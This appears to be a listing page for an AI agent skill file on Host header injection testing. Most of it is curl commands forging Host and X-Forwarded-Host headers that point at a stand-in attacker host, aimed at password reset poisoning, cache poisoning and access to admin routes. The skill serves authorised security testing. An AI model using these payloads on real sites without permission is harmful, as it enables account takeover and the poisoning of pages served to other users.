Attack Host Header
DevOps & Securityattack-host-headerAttack Host Header is an Agent Skill for devops & security published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.
Host header injection — password reset poisoning, cache poisoning, routing bypass, SSRF via Host
QUICK START
How to use this skill
Bring this guide into your coding agent with a prompt tailored to the tool you use.
- Open your project in Codex.
- Copy and paste the prompt below.
- Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-host-header/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-host-header, but wait for my approval before writing files or running scripts.
Copying this prompt does not install or run the skill. Review third-party files before use.
Host Header Injection
Objective
Exploit web server reliance on the Host header to poison password reset links, web caches, or route requests to internal services.
Testing Methodology
Phase 1: Password Reset Poisoning
# Trigger password reset with injected Host
curl -X POST https://TARGET/forgot-password \
-H "Host: attacker.com" \
-d "[email protected]"
# X-Forwarded-Host variant
curl -X POST https://TARGET/forgot-password \
-H "X-Forwarded-Host: attacker.com" \
-d "[email protected]"
If the reset email link contains attacker.com, the token is leaked when victim clicks.
Phase 2: Duplicate Host Headers
# Two Host headers
curl https://TARGET/ \
-H "Host: TARGET" \
-H "Host: attacker.com"
# Host with port injection
curl https://TARGET/ \
-H "Host: TARGET:@attacker.com"
Phase 3: X-Forwarded-Host / X-Host
curl https://TARGET/ -H "X-Forwarded-Host: attacker.com"
curl https://TARGET/ -H "X-Host: attacker.com"
curl https://TARGET/ -H "X-Forwarded-Server: attacker.com"
curl https://TARGET/ -H "X-Original-URL: /admin"
curl https://TARGET/ -H "X-Rewrite-URL: /admin"
Phase 4: Absolute URL Routing
# Absolute URL overrides Host header
curl "https://TARGET/api" \
-H "Host: internal-admin.TARGET"
Phase 5: Web Cache Poisoning via Host
# If response is cached with injected host
curl https://TARGET/ -H "X-Forwarded-Host: attacker.com" -H "X-Cache: miss"
# Subsequent requests from any user will get poisoned response
What Constitutes a Finding
| Finding | Severity |
|---|---|
| Password reset link contains injected host | Critical (P1) |
| Cache poisoned with injected host/links | High (P2) |
| Internal routing bypass (access /admin) | High (P2) |
| Host header reflected in page without sanitization | Medium (P3) |
Evidence Requirements
- Request with injected Host header
- Response/email showing injected domain
- For cache poisoning: cached response serving injected content
- For password reset: full reset URL with attacker domain